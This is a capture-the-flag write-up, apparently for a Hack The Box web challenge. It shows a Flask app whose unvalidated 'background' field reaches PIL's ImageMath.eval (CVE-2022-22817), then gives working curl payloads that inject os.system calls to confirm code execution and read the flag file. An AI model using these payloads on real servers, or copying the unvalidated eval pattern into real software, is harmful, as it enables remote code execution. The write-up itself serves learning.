Amidst Us
2 minutes to read
We have the following website, that mimics the game Among Us:
There is a button to select a color with a color picker:
If we analyze the given source code, we have a Flask application (in Python). This is application/blueprints/routes.py
:
from flask import Blueprint, request, render_template, abort
from application.util import make_alpha
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/alphafy', methods=['POST'])
def alphafy():
if not request.is_json or 'image' not in request.json:
return abort(400)
return make_alpha(request.json)
The function make_alpha
is defined in application/util.py
:
import os, base64
from PIL import Image, ImageMath
from io import BytesIO
generate = lambda x: os.urandom(x).hex()
def make_alpha(data):
color = data.get('background', [255,255,255])
try:
dec_img = base64.b64decode(data.get('image').encode())
image = Image.open(BytesIO(dec_img)).convert('RGBA')
img_bands = [band.convert('F') for band in image.split()]
alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)
new_bands = [
ImageMath.eval(
'convert((image - color) / alpha + color, "L")',
image=img_bands[i],
color=color[i],
alpha=alpha
)
for i in range(3)
]
new_bands.append(ImageMath.eval(
'convert(alpha_band * alpha, "L")',
alpha=alpha,
alpha_band=img_bands[3]
))
new_image = Image.merge('RGBA', new_bands)
background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
background.paste(new_image.convert('RGB'), mask=new_image)
buffer = BytesIO()
new_image.save(buffer, format='PNG')
return {
'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
}, 200
except Exception:
return '', 400
The issue here is the use of ImageMath.eval
. Actually, there’s CVE-2022-22817. We are able to use exec
and run arbitrary Python code.
The injection is in the background
parameter, which should be an RGB value, but it is not validated. Hence, we can try the injection importing the os
module and running a sleep
command (we need to be careful with quotes and backslashes):
$ time curl 178.62.114.46:32326/api/alphafy -d '{"background":["exec(\"import os; os.system(\\\"sleep 5\\\")\")",255,255],"image":"'$(base64 challenge/application/static/images/arrow.png)'"}' -H 'Content-Type: application/json'
curl: (52) Empty reply from server
5,23 real 0,00 user 0,00 sys
Since the response lasts more than 5 seconds, we have Remote Code Execution (RCE). Now, we can move the flag.txt
file to the static
directory and read the flag:
$ curl 178.62.114.46:32326/api/alphafy -d '{"background":["exec(\"import os; os.system(\\\"cat /flag.txt > /app/application/static/flag.txt\\\")\")",255,255],"image":"'$(base64 challenge/application/static/images/arrow.png)'"}' -H 'Content-Type: application/json'
curl: (52) Empty reply from server
$ curl 178.62.114.46:32326/static/flag.txt
HTB{sl33p1ng_my_way_into_RCE}